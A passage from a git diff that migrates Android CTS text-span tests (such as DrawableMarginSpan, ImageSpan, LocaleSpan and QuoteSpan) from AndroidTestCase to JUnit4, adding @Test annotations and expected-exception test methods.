 import android.text.Spanned;
 import android.text.StaticLayout;
 import android.text.TextPaint;
+import android.text.cts.R;
 import android.text.style.DrawableMarginSpan;
 
-public class DrawableMarginSpanTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DrawableMarginSpanTest {
+    private Context mContext;
+    private Drawable mDrawable;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mDrawable = mContext.getDrawable(R.drawable.scenery);
+    }
+
+    @Test
     public void testConstructor() {
-        Drawable d = mContext.getResources().getDrawable(R.drawable.pass);
+        Drawable d = mContext.getDrawable(R.drawable.pass);
 
         new DrawableMarginSpan(d);
         new DrawableMarginSpan(d, 1);
         new DrawableMarginSpan(null, -1);
     }
 
+    @Test
     public void testGetLeadingMargin() {
-        Drawable drawable = mContext.getResources().getDrawable(R.drawable.scenery);
-
-        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(drawable, 1);
+        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(mDrawable, 1);
         int leadingMargin1 = drawableMarginSpan.getLeadingMargin(true);
 
-        drawableMarginSpan = new DrawableMarginSpan(drawable, 10);
+        drawableMarginSpan = new DrawableMarginSpan(mDrawable, 10);
         int leadingMargin2 = drawableMarginSpan.getLeadingMargin(true);
 
         assertTrue(leadingMargin2 > leadingMargin1);
     }
 
+    @Test
     public void testDrawLeadingMargin() {
-        Drawable drawable = mContext.getResources().getDrawable(R.drawable.scenery);
-        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(drawable, 0);
+        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(mDrawable, 0);
 
-        assertEquals(0, drawable.getBounds().top);
-        assertEquals(0, drawable.getBounds().bottom);
-        assertEquals(0, drawable.getBounds().left);
-        assertEquals(0, drawable.getBounds().right);
+        assertEquals(0, mDrawable.getBounds().top);
+        assertEquals(0, mDrawable.getBounds().bottom);
+        assertEquals(0, mDrawable.getBounds().left);
+        assertEquals(0, mDrawable.getBounds().right);
 
         Canvas canvas = new Canvas();
         Spanned text = Html.fromHtml("<b>hello</b>");
-        TextPaint paint= new TextPaint();
+        TextPaint paint = new TextPaint();
         Layout layout = new StaticLayout("cts test.", paint, 200,
                 Layout.Alignment.ALIGN_NORMAL, 1, 0, true);
 
@@ -71,31 +90,32 @@
                 0, 0, text, 0, 0, true, layout);
 
         // 0 means the top location
-        assertEquals(0, drawable.getBounds().top);
-        assertEquals(0 + drawable.getIntrinsicHeight(), drawable.getBounds().bottom);
-        assertEquals(x, drawable.getBounds().left);
-        assertEquals(x + drawable.getIntrinsicWidth(), drawable.getBounds().right);
-
-        try {
-            drawableMarginSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0,
-                    null, 0, 0, false, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            drawableMarginSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0,
-                    "cts test.", 0, 0, false, null);
-            fail("When try to use a String as the text, should throw ClassCastException.");
-        } catch (ClassCastException e) {
-            // expected, test success.
-        }
+        assertEquals(0, mDrawable.getBounds().top);
+        assertEquals(mDrawable.getIntrinsicHeight(), mDrawable.getBounds().bottom);
+        assertEquals(x, mDrawable.getBounds().left);
+        assertEquals(x + mDrawable.getIntrinsicWidth(), mDrawable.getBounds().right);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testDrawLeadingMarginNull() {
+        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(mDrawable, 0);
+
+        drawableMarginSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0,
+                null, 0, 0, false, null);
+    }
+
+    @Test(expected=ClassCastException.class)
+    public void testDrawLeadingMarginString() {
+        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(mDrawable, 0);
+
+        // When try to use a String as the text, should throw ClassCastException
+        drawableMarginSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0,
+                "cts test.", 0, 0, false, null);
+    }
+
+    @Test
     public void testChooseHeight() {
-        Drawable drawable = mContext.getResources().getDrawable(R.drawable.scenery);
-        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(drawable, 0);
+        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(mDrawable, 0);
 
         Spanned text = Html.fromHtml("cts test.");
         FontMetricsInt fm = new FontMetricsInt();
@@ -115,19 +135,21 @@
         assertTrue(fm.descent > 0);
         assertEquals(0, fm.leading);
         assertEquals(0, fm.top);
+    }
 
-        try {
-            drawableMarginSpan.chooseHeight(null, 0, 0, 0, 0, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+    @Test(expected=NullPointerException.class)
+    public void testChooseHeightNull() {
+        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(mDrawable, 0);
 
-        try {
-            drawableMarginSpan.chooseHeight("cts test.", 0, 0, 0, 0, null);
-            fail("When try to use a String as the text, should throw ClassCastException.");
-        } catch (ClassCastException e) {
-            // expected, test success.
-        }
+        drawableMarginSpan.chooseHeight(null, 0, 0, 0, 0, null);
+    }
+
+
+    @Test(expected=ClassCastException.class)
+    public void testChooseHeightString() {
+        DrawableMarginSpan drawableMarginSpan = new DrawableMarginSpan(mDrawable, 0);
+
+        // When try to use a String as the text, should throw ClassCastException
+        drawableMarginSpan.chooseHeight("cts test.", 0, 0, 0, 0, null);
     }
 }
diff --git a/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java b/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java
index 8a178f8..5ad529b 100644
--- a/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java
@@ -16,17 +16,25 @@
 
 package android.text.style.cts;
 
-import android.text.cts.R;
-
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Canvas;
-import android.graphics.Rect;
 import android.graphics.Paint.FontMetricsInt;
+import android.graphics.Rect;
 import android.graphics.drawable.Drawable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.cts.R;
 import android.text.style.DynamicDrawableSpan;
 
-public class DynamicDrawableSpanTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DynamicDrawableSpanTest {
+    @Test
     public void testConstructor() {
         DynamicDrawableSpan d = new MyDynamicDrawableSpan();
         assertEquals(DynamicDrawableSpan.ALIGN_BOTTOM, d.getVerticalAlignment());
@@ -38,6 +46,7 @@
         assertEquals(DynamicDrawableSpan.ALIGN_BOTTOM, d.getVerticalAlignment());
     }
 
+    @Test
     public void testGetSize() {
         DynamicDrawableSpan dynamicDrawableSpan = new MyDynamicDrawableSpan();
         FontMetricsInt fm = new FontMetricsInt();
@@ -60,22 +69,20 @@
         assertEquals(rect.right, dynamicDrawableSpan.getSize(null, null, 0, 0, null));
     }
 
+    @Test
     public void testDraw() {
         DynamicDrawableSpan dynamicDrawableSpan = new MyDynamicDrawableSpan();
         Canvas canvas = new Canvas();
         dynamicDrawableSpan.draw(canvas, null, 0, 0, 1.0f, 0, 0, 1, null);
-
-        try {
-            dynamicDrawableSpan.draw(null, null, 0, 0, 1.0f, 0, 0, 1, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
-    /**
-     * The MyDynamicDrawableSpan for test.
-     */
+    @Test(expected=NullPointerException.class)
+    public void testDrawNullCanvas() {
+        DynamicDrawableSpan dynamicDrawableSpan = new MyDynamicDrawableSpan();
+
+        dynamicDrawableSpan.draw(null, null, 0, 0, 1.0f, 0, 0, 1, null);
+    }
+
     private class MyDynamicDrawableSpan extends DynamicDrawableSpan {
         public MyDynamicDrawableSpan() {
             super();
@@ -87,8 +94,7 @@
 
         @Override
         public Drawable getDrawable() {
-            // implement abstract method
-            return getContext().getResources().getDrawable(R.drawable.scenery);
+            return InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.scenery);
         }
     }
 }
diff --git a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
index 7405107..831ce09 100644
--- a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
@@ -19,15 +19,23 @@
 import android.app.PendingIntent;
 import android.content.Intent;
 import android.os.Parcel;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.style.EasyEditSpan;
 
-public class EasyEditSpanTest extends AndroidTestCase {
-    @SmallTest
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class EasyEditSpanTest {
+    @Test
     public void testConstructor() {
         new EasyEditSpan();
-        new EasyEditSpan(PendingIntent.getActivity(getContext(), 0, new Intent(), 0));
+        new EasyEditSpan(PendingIntent.getActivity(
+                InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0));
+
         Parcel p = Parcel.obtain();
         try {
             new EasyEditSpan(p);
@@ -36,19 +44,19 @@
         }
     }
 
-    @SmallTest
+    @Test
     public void testDescribeContents_doesNotThrowException() {
         EasyEditSpan easyEditSpan = new EasyEditSpan();
         easyEditSpan.describeContents();
     }
 
-    @SmallTest
+    @Test
     public void testGetSpanTypeId_doesNotThrowException() {
         EasyEditSpan easyEditSpan = new EasyEditSpan();
         easyEditSpan.getSpanTypeId();
     }
 
-    @SmallTest
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java b/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java
index bacf89b..a259065 100644
--- a/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java
@@ -16,15 +16,22 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Color;
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.ForegroundColorSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class ForegroundColorSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ForegroundColorSpanTest {
+    @Test
     public void testConstructor() {
         ForegroundColorSpan f = new ForegroundColorSpan(Color.GREEN);
 
@@ -38,6 +45,7 @@
         }
     }
 
+    @Test
     public void testGetForegroundColor() {
         ForegroundColorSpan foregroundColorSpan = new ForegroundColorSpan(Color.BLUE);
         assertEquals(Color.BLUE, foregroundColorSpan.getForegroundColor());
@@ -46,6 +54,7 @@
         assertEquals(Color.BLACK, foregroundColorSpan.getForegroundColor());
     }
 
+    @Test
     public void testUpdateDrawState() {
         ForegroundColorSpan foregroundColorSpan = new ForegroundColorSpan(Color.CYAN);
 
@@ -58,25 +67,28 @@
         foregroundColorSpan = new ForegroundColorSpan(Color.DKGRAY);
         foregroundColorSpan.updateDrawState(tp);
         assertEquals(Color.DKGRAY, tp.getColor());
-
-        try {
-            foregroundColorSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        ForegroundColorSpan foregroundColorSpan = new ForegroundColorSpan(Color.CYAN);
+
+        foregroundColorSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testDescribeContents() {
         ForegroundColorSpan foregroundColorSpan = new ForegroundColorSpan(Color.RED);
         foregroundColorSpan.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         ForegroundColorSpan foregroundColorSpan = new ForegroundColorSpan(Color.RED);
         foregroundColorSpan.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java b/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java
index f9442ce..3ee2564 100644
--- a/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java
@@ -16,11 +16,14 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Paint.FontMetricsInt;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
 import android.text.Layout;
 import android.text.Spanned;
@@ -28,19 +31,26 @@
 import android.text.TextPaint;
 import android.text.style.IconMarginSpan;
 
-public class IconMarginSpanTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class IconMarginSpanTest {
     private static final int WIDTH = 80;
     private static final int HEIGHT = 120;
     private static final int[] COLOR = new int[WIDTH * HEIGHT];
     private static final Bitmap BITMAP_80X120 =
         Bitmap.createBitmap(COLOR, WIDTH, HEIGHT, Bitmap.Config.RGB_565);
 
+    @Test
     public void testConstructor() {
         new IconMarginSpan(BITMAP_80X120);
         new IconMarginSpan(BITMAP_80X120, 1);
         new IconMarginSpan(null, -1);
     }
 
+    @Test
     public void testGetLeadingMargin() {
         IconMarginSpan iconMarginSpan = new IconMarginSpan(BITMAP_80X120, 1);
         int leadingMargin1 = iconMarginSpan.getLeadingMargin(true);
@@ -51,6 +61,7 @@
         assertTrue(leadingMargin2 > leadingMargin1);
     }
 
+    @Test
     public void testDrawLeadingMargin() {
         IconMarginSpan iconMarginSpan = new IconMarginSpan(BITMAP_80X120, 0);
         Canvas c = new Canvas();
@@ -59,22 +70,24 @@
         Layout layout = new StaticLayout("cts test.", p, 200, Layout.Alignment.ALIGN_NORMAL,
                 1, 0, true);
         iconMarginSpan.drawLeadingMargin(c, p, 0, 0, 0, 0, 0, text, 0, 0, true, layout);
-
-        try {
-            iconMarginSpan.chooseHeight(null, 0, 0, 0, 0, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            iconMarginSpan.chooseHeight("cts test.", 0, 0, 0, 0, null);
-            fail("When try to use a String as the text, should throw ClassCastException.");
-        } catch (ClassCastException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testDrawLeadingMarginNull() {
+        IconMarginSpan iconMarginSpan = new IconMarginSpan(BITMAP_80X120, 0);
+
+        iconMarginSpan.chooseHeight(null, 0, 0, 0, 0, null);
+    }
+
+    @Test(expected=ClassCastException.class)
+    public void testDrawLeadingMarginString() {
+        IconMarginSpan iconMarginSpan = new IconMarginSpan(BITMAP_80X120, 0);
+
+        // When try to use a String as the text, should throw ClassCastException
+        iconMarginSpan.chooseHeight("cts test.", 0, 0, 0, 0, null);
+    }
+
+    @Test
     public void testChooseHeight() {
         IconMarginSpan iconMarginSpan = new IconMarginSpan(BITMAP_80X120, 0);
 
@@ -94,19 +107,20 @@
         assertEquals(HEIGHT, fm.descent);
         assertEquals(0, fm.leading);
         assertEquals(0, fm.top);
+    }
 
-        try {
-            iconMarginSpan.chooseHeight(null, 0, 0, 0, 0, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
+    @Test(expected=NullPointerException.class)
+    public void testChooseHeightNull() {
+        IconMarginSpan iconMarginSpan = new IconMarginSpan(BITMAP_80X120, 0);
 
-        try {
-            iconMarginSpan.chooseHeight("cts test.", 0, 0, 0, 0, null);
-            fail("When try to use a String as the text, should throw ClassCastException.");
-        } catch (ClassCastException e) {
-            // expected, test success.
-        }
+        iconMarginSpan.chooseHeight(null, 0, 0, 0, 0, null);
+    }
+
+    @Test(expected=ClassCastException.class)
+    public void testChooseHeightString() {
+        IconMarginSpan iconMarginSpan = new IconMarginSpan(BITMAP_80X120, 0);
+
+        // When try to use a String as the text, should throw ClassCastException
+        iconMarginSpan.chooseHeight("cts test.", 0, 0, 0, 0, null);
     }
 }
diff --git a/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java b/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java
index 90282b8..130593b 100644
--- a/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java
@@ -16,20 +16,39 @@
 
 package android.text.style.cts;
 
-import android.text.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
 
 import android.content.Context;
-import android.cts.util.WidgetTestUtils;
 import android.graphics.Bitmap;
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.cts.R;
 import android.text.style.DynamicDrawableSpan;
 import android.text.style.ImageSpan;
 
-public class ImageSpanTest extends AndroidTestCase {
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ImageSpanTest {
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
     public void testConstructor() {
         int width = 80;
         int height = 120;
@@ -40,6 +59,10 @@
         new ImageSpan(b, DynamicDrawableSpan.ALIGN_BOTTOM);
         new ImageSpan(b, DynamicDrawableSpan.ALIGN_BASELINE);
 
+        new ImageSpan(mContext, b);
+        new ImageSpan(mContext, b, DynamicDrawableSpan.ALIGN_BOTTOM);
+        new ImageSpan(mContext, b, DynamicDrawableSpan.ALIGN_BASELINE);
+
         Drawable d = mContext.getResources().getDrawable(R.drawable.pass);
         new ImageSpan(d);
         new ImageSpan(d, DynamicDrawableSpan.ALIGN_BOTTOM);
@@ -69,8 +92,9 @@
         new ImageSpan((Context) null, -1, -1);
     }
 
+    @Test
     public void testGetSource() {
-        Drawable d = mContext.getResources().getDrawable(R.drawable.pass);
+        Drawable d = mContext.getDrawable(R.drawable.pass);
 
         ImageSpan imageSpan = new ImageSpan(d);
         assertNull(imageSpan.getSource());
@@ -84,8 +108,9 @@
         assertEquals(source, imageSpan.getSource());
     }
 
+    @Test
     public void testGetDrawable() {
-        Drawable drawable = mContext.getResources().getDrawable(R.drawable.pass);
+        Drawable drawable = mContext.getDrawable(R.drawable.pass);
 
         ImageSpan imageSpan = new ImageSpan(drawable);
         assertSame(drawable, imageSpan.getDrawable());
diff --git a/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java
index cbca876..6679caf 100644
--- a/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java
@@ -16,14 +16,21 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.style.LeadingMarginSpan;
 import android.text.style.LeadingMarginSpan.Standard;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class LeadingMarginSpan_StandardTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LeadingMarginSpan_StandardTest {
+    @Test
     public void testConstructor() {
         new Standard(1, 2);
         new Standard(3);
@@ -41,6 +48,7 @@
         }
     }
 
+    @Test
     public void testGetLeadingMargin() {
         int first = 4;
         int rest = 5;
@@ -54,21 +62,25 @@
         assertEquals(-1, standard.getLeadingMargin(false));
     }
 
+    @Test
     public void testDrawLeadingMargin() {
         Standard standard = new LeadingMarginSpan.Standard(10);
         standard.drawLeadingMargin(null, null, 0, 0, 0, 0, 0, null, 0, 0, false, null);
     }
 
+    @Test
     public void testDescribeContents() {
         Standard standard = new Standard(1);
         standard.describeContents();
     }
 
+    @Test
     public void testGetSpanTypeId() {
         Standard standard = new Standard(1);
         standard.getSpanTypeId();
     }
 
+    @Test
     public void testWriteToParcel() {
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
index bb7cdd9..bc07e0a 100644
--- a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
@@ -16,17 +16,24 @@
 
 package android.text.style.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertEquals;
+
 import android.annotation.NonNull;
 import android.os.LocaleList;
 import android.os.Parcel;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.LocaleSpan;
 
-public class LocaleSpanTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    private void checkGetLocales(@NonNull final LocaleList locales) {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class LocaleSpanTest {
+
+    private void verifyGetLocales(@NonNull final LocaleList locales) {
         final LocaleSpan span = new LocaleSpan(locales);
         assertEquals(locales.get(0), span.getLocale());
         assertEquals(locales, span.getLocales());
@@ -36,23 +43,17 @@
         assertEquals(locales, cloned.getLocales());
     }
 
-    @SmallTest
+    @Test
     public void testGetLocales() {
-        checkGetLocales(LocaleList.getEmptyLocaleList());
-        checkGetLocales(LocaleList.forLanguageTags("en"));
-        checkGetLocales(LocaleList.forLanguageTags("en-GB,en"));
-        checkGetLocales(LocaleList.forLanguageTags("de-DE-u-co-phonebk,en-GB,en"));
+        verifyGetLocales(LocaleList.getEmptyLocaleList());
+        verifyGetLocales(LocaleList.forLanguageTags("en"));
+        verifyGetLocales(LocaleList.forLanguageTags("en-GB,en"));
+        verifyGetLocales(LocaleList.forLanguageTags("de-DE-u-co-phonebk,en-GB,en"));
     }
 
-    @SmallTest
+    @Test(expected=NullPointerException.class)
     public void testConstructorWithLocaleList() {
-        try {
-            new LocaleSpan((LocaleList) null);
-        } catch (NullPointerException e) {
-            // Expected.
-            return;
-        }
-        fail("NullPointerException must have been thrown.");
+        new LocaleSpan((LocaleList) null);
     }
 
     @NonNull
@@ -70,19 +71,19 @@
         }
     }
 
-    @SmallTest
+    @Test
     public void testDescribeContents_doesNotThrowException() {
         LocaleSpan localeSpan = new LocaleSpan(LocaleList.getEmptyLocaleList());
         localeSpan.describeContents();
     }
 
-    @SmallTest
+    @Test
     public void testGetSpanTypeId_doesNotThrowException() {
         LocaleSpan localeSpan = new LocaleSpan(LocaleList.getEmptyLocaleList());
         localeSpan.getSpanTypeId();
     }
 
-    @SmallTest
+    @Test
     public void testUpdateDrawState() {
         LocaleList localeListForSpan = LocaleList.forLanguageTags("en");
         LocaleSpan localeSpan = new LocaleSpan(localeListForSpan);
@@ -98,7 +99,7 @@
         assertEquals(localeListForSpan.get(0), tp.getTextLocale());
     }
 
-    @SmallTest
+    @Test
     public void testUpdateMeasureState() {
         LocaleList localeListForSpan = LocaleList.forLanguageTags("en");
         LocaleSpan localeSpan = new LocaleSpan(localeListForSpan);
diff --git a/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java b/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java
index 0ed33c9..7b9f3d9 100644
--- a/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java
@@ -16,20 +16,29 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
 
 import android.graphics.MaskFilter;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.MaskFilterSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class MaskFilterSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MaskFilterSpanTest {
+    @Test
     public void testConstructor() {
         MaskFilter mf = new MaskFilter();
         new MaskFilterSpan(mf);
         new MaskFilterSpan(null);
     }
 
+    @Test
     public void testUpdateDrawState() {
         MaskFilter mf = new MaskFilter();
         MaskFilterSpan maskFilterSpan = new MaskFilterSpan(mf);
@@ -39,15 +48,17 @@
 
         maskFilterSpan.updateDrawState(tp);
         assertSame(mf, tp.getMaskFilter());
-
-        try {
-            maskFilterSpan.updateDrawState(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testUpdateDrawStateNull() {
+        MaskFilter mf = new MaskFilter();
+        MaskFilterSpan maskFilterSpan = new MaskFilterSpan(mf);
+
+        maskFilterSpan.updateDrawState(null);
+    }
+
+    @Test
     public void testGetMaskFilter() {
         MaskFilter expected = new MaskFilter();
 
diff --git a/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java b/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java
index af6533c..cb8850e 100644
--- a/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java
@@ -16,15 +16,24 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.CharacterStyle;
 import android.text.style.MetricAffectingSpan;
 import android.text.style.SuperscriptSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class MetricAffectingSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MetricAffectingSpanTest {
+    @Test
     public void testGetUnderlying() {
         MetricAffectingSpan metricAffectingSpan = new MyMetricAffectingSpan();
         assertSame(metricAffectingSpan, metricAffectingSpan.getUnderlying());
@@ -36,18 +45,13 @@
         assertSame(metricAffectingSpan, result.getUnderlying());
     }
 
-    /**
-     * MyMetricAffectingSpan for test.
-     */
     private class MyMetricAffectingSpan extends MetricAffectingSpan {
         @Override
         public void updateMeasureState(TextPaint p) {
-            // implement abstract method.
         }
 
         @Override
         public void updateDrawState(TextPaint tp) {
-            // implement abstract method.
         }
     }
 }
diff --git a/tests/tests/text/src/android/text/style/cts/MockURLSpanTestActivity.java b/tests/tests/text/src/android/text/style/cts/MockURLSpanTestActivity.java
index be06b0d..cfff2713 100644
--- a/tests/tests/text/src/android/text/style/cts/MockURLSpanTestActivity.java
+++ b/tests/tests/text/src/android/text/style/cts/MockURLSpanTestActivity.java
@@ -16,10 +16,9 @@
 
 package android.text.style.cts;
 
-import android.text.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.text.cts.R;
 
 /**
  * A Mock application for {@link URLSpan} test.
diff --git a/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java b/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java
index a19c926..358be07 100644
--- a/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java
@@ -16,16 +16,23 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.style.QuoteSpan;
 
-import junit.framework.TestCase;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class QuoteSpanTest extends TestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class QuoteSpanTest {
+    @Test
     public void testConstructor() {
         new QuoteSpan();
         QuoteSpan q = new QuoteSpan(Color.RED);
@@ -40,6 +47,7 @@
         }
     }
 
+    @Test
     public void testGetLeadingMargin() {
         QuoteSpan quoteSpan = new QuoteSpan();
 
@@ -47,6 +55,7 @@
         quoteSpan.getLeadingMargin(false);
     }
 
+    @Test
     public void testGetColor() {
         QuoteSpan quoteSpan = new QuoteSpan(Color.BLACK);
         assertEquals(Color.BLACK, quoteSpan.getColor());
@@ -55,31 +64,35 @@
         assertEquals(Color.BLUE, quoteSpan.getColor());
     }
 
+    @Test
     public void testDrawLeadingMargin() {
         QuoteSpan quoteSpan = new QuoteSpan();
 
         Canvas c = new Canvas();
         Paint p = new Paint();
         quoteSpan.drawLeadingMargin(c, p, 0, 0, 0, 0, 0, null, 0, 0, true, null);
-
-        try {
-            quoteSpan.drawLeadingMargin(null, null, 0, 0, 0, 0, 0, null, 0, 0, true, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
+    @Test(expected=NullPointerException.class)
